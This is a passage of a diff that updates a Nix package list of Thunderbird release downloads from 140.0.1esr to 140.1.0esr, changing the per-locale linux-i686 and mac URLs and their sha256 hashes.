-      sha256 = "394c0368199eaaf12457797158362fbaef05847c8de20052d47df3b66f4be403";
+      sha256 = "45b75eab27d8a74f5f7be211c7382612d37dcf9a9ad33d838648883b96a510bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hu/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hu/thunderbird-140.1.0esr.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "c7947f866700ecacdc75569ce906403d2c641bd70963bf1885aa78f1987e3a5f";
+      sha256 = "c621ad7ff9a01e22cde05394a68ac4b54393bb58650b7763efe95617e0cd7242";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hy-AM/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hy-AM/thunderbird-140.1.0esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "971c420bdd12abfcdb04b776f68083bb9074c1b19e9d42db84b8172ad1188948";
+      sha256 = "ec2afa8ac29bab5ff0c67fd1abfde2404db43c087ef860637ca0a933b2fef159";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/id/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/id/thunderbird-140.1.0esr.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "bc3d8f898c6470b31cf5633c04d2f582f42732f3fd5bde14fe0f6b38215f57fa";
+      sha256 = "aa0a1398aca929c4a9f2bced462434e05ae5d0562c0fba833d16c0961e9a1150";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/is/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/is/thunderbird-140.1.0esr.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "623158002114770da3868e58a9c90d6e6cd8738ad2da0ebcb7b5b48c79e7d116";
+      sha256 = "70ebc00f1bf1743c07abda9bf98df1c737753a27cd760b5d6a222a96b4043fcd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/it/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/it/thunderbird-140.1.0esr.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "729ff0a4999e13deef4f275939719931db868e89c87947e7f189395ed96c61ab";
+      sha256 = "b23d8e005269f0ea3d4c97dca1fc21214265cf457ae2f8cba87db0cc60366302";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ja/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ja/thunderbird-140.1.0esr.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "a06d34c19b166da06de2c807710e36547f09702f29fa35d1a67cc41f5ff8cf7e";
+      sha256 = "8fbe63e06fd43c465e7619a819fa14de7b6d50fd04c58f2f3dde90d62cbfe5c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ka/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ka/thunderbird-140.1.0esr.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "f67a7115bbfc19e9b41b7dabfe32fb62ecc20e5884c0b3e9b443351dae66c1c6";
+      sha256 = "8c6ecc716720492d4c466129954cf3ec83ed9ea8cff062a38cdb4b0a1712a697";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/kab/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/kab/thunderbird-140.1.0esr.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "01d8c9170990e175cf2452a428dafea95f0fe77e0b73001d644ebcdfb164ea61";
+      sha256 = "bf3c6d10f74e3c02f5a17e92835218c4bd3130a1262902953bef49e767179c2a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/kk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/kk/thunderbird-140.1.0esr.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "885540419072b130288a05b7f7c199bb19a5fac31b6455e11a95f36fc3239c76";
+      sha256 = "6da2e59a7cbd4e57f69e2a22b1bcd1afb502bfa10dd81c7b6190107c18bece02";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ko/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ko/thunderbird-140.1.0esr.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "daf94b5f16730691736296457ca41d64d53fe93d910c72116db5393319b1b9d9";
+      sha256 = "b96b273d2dbaa51180a8c308b72a564a967b2fb0dc08497fdf1ac71354c16c55";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/lt/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/lt/thunderbird-140.1.0esr.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "d2bf636a9ad18e093f645f401bdc9d4b9cc972f3b096bc136f5893a26fe9dec9";
+      sha256 = "db3a83fe0de9072d81710a0b8c1db55086a5d93cb3a10bfee9ec92e484a8310b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/lv/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/lv/thunderbird-140.1.0esr.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "01f975e034eb580a7b754cc612a46814f6c54d85a8fe6193caf9f8df7028c2cd";
+      sha256 = "e5aec4225d1390edc4d69d1a4f501eda93b6ca282f37e229d82461ecf42d1eb5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ms/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ms/thunderbird-140.1.0esr.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "38f637dd2de942b1f679421bfac608abf502cbc95f5dba921307dda860c38fd7";
+      sha256 = "aaf32b80d7aa529ac7fa9aad46ad7cbd0c037f1cc6185f47b1a7ee4fd77bbcbf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nb-NO/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nb-NO/thunderbird-140.1.0esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "2e6ad92a8cc928dc05386051a373076fe3228e94705e79d5a3b5acc7a71dbbaa";
+      sha256 = "720568948fd135e9d28631fa726ce3975c1a2c40f6f82081b9fb7b2b726861ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nl/thunderbird-140.1.0esr.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "7b3ff0bf8193e1d7624f9415e84e32a508a8a9d075a7ed44f0a818ff14bd86a8";
+      sha256 = "dc1859071f8c0dc792adc4782c13d09a05524b300ab3727a3bddc84526264271";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/nn-NO/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nn-NO/thunderbird-140.1.0esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "78a602eff2211f403e1805d3afb2e8acf017a3c81270b07810387d97b697227d";
+      sha256 = "3efdaafa510c361ecf86ebe39b2ebf8cf43abeed88722021bdd1260e011c2257";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pa-IN/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pa-IN/thunderbird-140.1.0esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "c83252f5d19c16a93e7e5017a2d1737d080d855f9fba011006f726828005e8dc";
+      sha256 = "d7897851dc39898ad4a37c14cd972dc05f8fd9b86d9ccda941e796ae396992c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pl/thunderbird-140.1.0esr.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "8b8aa69ddd5545aefd35cd15b6ee5d58306540ba72d347cef921fb12cf739249";
+      sha256 = "39d97c41476c2d15e8c6ec0f965faa0b7b5119a052478809f3f3fe6c65813169";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pt-BR/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pt-BR/thunderbird-140.1.0esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "55f3c32096812e12dbe2b52c940b582f018a685c949f1e73bab9a0123ee56ec7";
+      sha256 = "66118eeba5eed2de5cf39e98433d15f73ea3762560947d4f2c85eb7239cf5b7b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/pt-PT/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pt-PT/thunderbird-140.1.0esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "8f6063ab557b81853bebc335181bed3271f10df0cc212986f850e8bb65fa7534";
+      sha256 = "d66ffea15d43ca7f13b8d66f73e2ea25c16e1ad193f2ba3bdd1f59e5a1c3a65d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/rm/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/rm/thunderbird-140.1.0esr.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "99c2aeaec4b24f1b4622138196d2cb35fe32d4babe56557b5909331a262e6df2";
+      sha256 = "bb483f454a245c6ccca2b50703f434b08a88399ce2f1f9377dcaada2421d5bdc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ro/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ro/thunderbird-140.1.0esr.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "2043faa14a64ec209e753a7a28b718295bad75fe32c88760818400d6b62ab6e3";
+      sha256 = "6434fdf0b2deab3cff6a30247fa2157e385507f24ee8fee00b765b9291f7ec35";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ru/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ru/thunderbird-140.1.0esr.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "d50ab6a8217ace9105bdc68694d748ebe5ac84053bd6bcf7608963e63ccb6875";
+      sha256 = "17165a4d397223f0e5e5f36d1c7c16cc4deb8d45a0f8589b557375ba2d2c9f77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sk/thunderbird-140.1.0esr.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "0353ffaef431ea0ad6c279be383078643689320ef429230f087d49b5f28a9fd2";
+      sha256 = "c698c16229b53cb9f5551a4fff8373ba5d21568aff3d9cfd32bd5dff4aac5697";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sl/thunderbird-140.1.0esr.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "6e812718af66575f3cfb6287d544935a22180aa02ff3e62e61a7dd7570e81c0d";
+      sha256 = "a391ba43c7bec4542d7e1ba5d79de802cb48622ce03548b8e275b38b8c6f683d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sq/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sq/thunderbird-140.1.0esr.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "288fa156ab80da4f2476970886fae43e349503e2f3125b4ec48118bacfc51ded";
+      sha256 = "19ceb1b451813da0b8583b9d22a1ad26fcec5abec1bad67add1ba6665eff8903";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sr/thunderbird-140.1.0esr.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "61b39b6abbcff45c4f0b7816310c87377aba5cc6d30bf44659a7ee6fbd09d128";
+      sha256 = "717184b8698347eff1eff74e16ca8bb3e2d92ad98b511b12778291237aea5e8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/sv-SE/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sv-SE/thunderbird-140.1.0esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "3783d139fb9e9947852d173f2f6fe142a0a7ff337f8288f96f1506f099a41ef5";
+      sha256 = "9b4d6b8ab51492a70551dcdd3483672300b6d831e5c960033d8aa259fba1343e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/th/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/th/thunderbird-140.1.0esr.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "7cad4d217e5b9e82e9b841a71e96ca390f2b400086703f3bdbf0e09897757455";
+      sha256 = "c3f534415fd18e98d38c91062abcc6e63d72dd32eed8dc28d28f51cec0f101b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/tr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/tr/thunderbird-140.1.0esr.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "f49f042d6e86bcc40b1edd73d4241a8bb73dbdf320c1a417a20c3ef282557933";
+      sha256 = "7f7a2f6f6e4e33bbbf5ccc7fc1913681ba1e15c1a79eb334896b10bec3e37c55";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/uk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/uk/thunderbird-140.1.0esr.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "3058636ce20f2744413f23bfeb82206b265e7f625643b274ccb1dfebcfc03ec8";
+      sha256 = "90d4e6a42842549c7ae9e4a70ee268d66b1f0b9ce1554d293db6eaf727f4c01a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/uz/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/uz/thunderbird-140.1.0esr.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "9d26d9154909b30d7fd335e3ab9a1d7a5614064568e03a21d10004dfce22dcf2";
+      sha256 = "01cc8b145ce5e583ee8c466a0a6a206bf31c52034ee3c78f7383f4ee6f14877f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/vi/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/vi/thunderbird-140.1.0esr.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "0d50d6a2b8b7a7f0b7dfafa1e72c1187ca1fc195aae5736f8e4eda9ee84b66b9";
+      sha256 = "1d6e07c6c0bbb8a49d5b99215161820b1d4a88c429d21833eaa24b3d16c4267d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/zh-CN/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/zh-CN/thunderbird-140.1.0esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "7e2a01674ab8ef493f6a01aa4b5d5cc122b950bc0eca2bbd0ad6bf293b9fbc21";
+      sha256 = "abcc3eec1c94cbae0f8018cf9c1969d2eb130fbf047e5b1e2800b0ec5331025f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/zh-TW/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/zh-TW/thunderbird-140.1.0esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "bdcfa911639dc193d7f9b38cadda371b3599beddfcd30a0cbb8fe8540520b1b6";
+      sha256 = "4d4eac590f9daa34b8b3fd0f9f5301c229c588bc0d21387e12da8e2abc061817";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/af/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/af/Thunderbird%20140.1.0esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "95d5b1481ca80568c3229a9bfb0dfe9fa0eee09b5264e553e6e7588c7f2b4caa";
+      sha256 = "6a797be943da6f43fc98d37d5ee736889289944e1d45f45a5d1b3d5945cc4717";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ar/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ar/Thunderbird%20140.1.0esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "38fa8d2d6051c580aafb11442af3d6948a5444a2d21b52f5f14a4f641cd164a4";
+      sha256 = "c455e6854aa0a469b936f8522de9b597218d7beeb2216c740ff612118f9dbc24";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ast/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ast/Thunderbird%20140.1.0esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "08a420005f06a040bd5aeb05548276eb3dc0cbeaeaae4797a4a085a72eb94e47";
+      sha256 = "80be9a5ca8052196a3aee5ee7700500128f56bb056f923909657b8d143a3ecc3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/be/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/be/Thunderbird%20140.1.0esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "37c2080dd55ad5c31c730d9be6bc1580c51ebc0482ab89d2a198fd14df2b136f";
+      sha256 = "70203fb88a2bf57c58e6377c3155aa1ce1654f70e81063fd97255957839b5e16";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/bg/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/bg/Thunderbird%20140.1.0esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "053765ee4d6b385de034fb65961df15f514621eee8b989211fae46bd19f34efb";
+      sha256 = "355ec61efbc0bd6ecf3b9a3f67d9a7580409c731b34b24a13838f143c35d0f33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/br/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/br/Thunderbird%20140.1.0esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "77ee4106a4e5378a289a26a443698a8a19c5758af901c3d73ef75548d1428c25";
+      sha256 = "e5e815a56e0f18e9ab9b1c6eb294b91a92331485ad192f4b1852384dc8563586";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ca/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ca/Thunderbird%20140.1.0esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "a5eaa6152a22227fff0171825606fad9dfa2235526835d4a3479176fbdb5d420";
+      sha256 = "227a1f0c6116b84b983e049fee9b0d522262fec59e0803499fd1f1868bf64ceb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cak/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cak/Thunderbird%20140.1.0esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "da81389041f93401ad3baad47fb96936b49fa32f59ab92d37e3d8c6ce7e9a88a";
+      sha256 = "0dba62df1d3f0a9365980dd07898b8ae1bde285b17873eaa8464814430de6565";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cs/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cs/Thunderbird%20140.1.0esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "1a72eff467b93fe13f917c0a5c1e41057bf5e2ec1bc1897a0a1e58cf59389185";
+      sha256 = "e748f567c80162960b4331f53701feafae1ecb40c039e021083cc2abcc67560c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/cy/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cy/Thunderbird%20140.1.0esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "b4c4eac9cbd977362fed93ef8378012e1c8db06c941fef58ea0f39712fbff5c6";
+      sha256 = "eca67c8a05a65fd06f449f84ea5975ac0b59caaa077857da14b9a4f0fd098297";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/da/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/da/Thunderbird%20140.1.0esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "865cf7ae8bf2deaac3e80a91529321477202f749da03252e3a2cc3bb1e7fcedf";
+      sha256 = "b6d2941d048312759f22dfb955cd1801253d7e2a45c233959f5e98f9eb5287ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/de/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/de/Thunderbird%20140.1.0esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "ca21ea80983beec307b2e7cb1df443c60f5f44ccc956baa367f5793f638f7324";
+      sha256 = "006d50345a36eadde5f0bf5f0ff6261ee36d8131c400da96dc9204c0a2a8b38e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/dsb/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/dsb/Thunderbird%20140.1.0esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "cc93a1d5447ed0df64d89cdc28ef506458d53459a4f75f0126a018d3e6f125ee";
+      sha256 = "43504f37d0354e41487fdf46ee7b195088cc8e2f0cab3d09f13c9d536aded828";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/el/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/el/Thunderbird%20140.1.0esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "7c9a536a8a3b92d955fb520f857b57f57890dc08870cc77de51e8733aad73b76";
+      sha256 = "a674fdb18f0eaff4ee79f487d24255342871c4d2a29bccdb2a18657f223b91ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-CA/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-CA/Thunderbird%20140.1.0esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "bb674b60e80673d4460707dd4022949e457ad4d3915127872cc55bc1eb6d8e6b";
+      sha256 = "f73ca1b9d7ac6298b4fe0fe4f5acc24cce1a8364753770d2b7377f0d6fcbefe9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-GB/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-GB/Thunderbird%20140.1.0esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "43c1a3466df45aa98894c8d2f01488faabc1bfcc11a62d2c81dee951c48e9377";
+      sha256 = "595835f5feb16c4ab8d750a9e3f789938251b6a9d96a49f52259970e3c8186fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/en-US/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-US/Thunderbird%20140.1.0esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "0df7e445f71283e1f385d7920408ac0035baa937165d51e1b7d2f4c6515e8b80";
+      sha256 = "024189d914d2c9a53394eb05028774cca6abe99d47e8e300021e34db64887c22";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-AR/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-AR/Thunderbird%20140.1.0esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "a0865f3d19d212e79666d4e90b8a18516d0c44d35f7f320bbd631cc9845844cc";
+      sha256 = "1943196f84d02b9babd1533b6e92f8b5ad9d9806a4788ba8ff26c6e1214dc692";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-ES/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-ES/Thunderbird%20140.1.0esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "242afdcc031130e3b3c16413242cf0a95e2f1520e73c403c358f6d5fc2f1a46e";
+      sha256 = "2d0cf209cfe79f4475cb3b7c04a35c44a1b4ebb1d48389a35e27916b588261ee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/es-MX/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-MX/Thunderbird%20140.1.0esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "61e58ababdd693de00fb404edea2e2a986180a49dd0a33ad3840700eb081bbed";
+      sha256 = "0a481830400bef485fd6ac940ea316d1f9369392a982a87e96d8107118fe43d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/et/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/et/Thunderbird%20140.1.0esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "d68a7b08b4559e11efc5160c4f886f2174e108ac857e3ec41844c64dfe5ca1ca";
+      sha256 = "dca18e1de621d50a755bbefbdfacad15d31b004b110c1e76005c1e83cfc64eb6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/eu/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/eu/Thunderbird%20140.1.0esr.dmg";
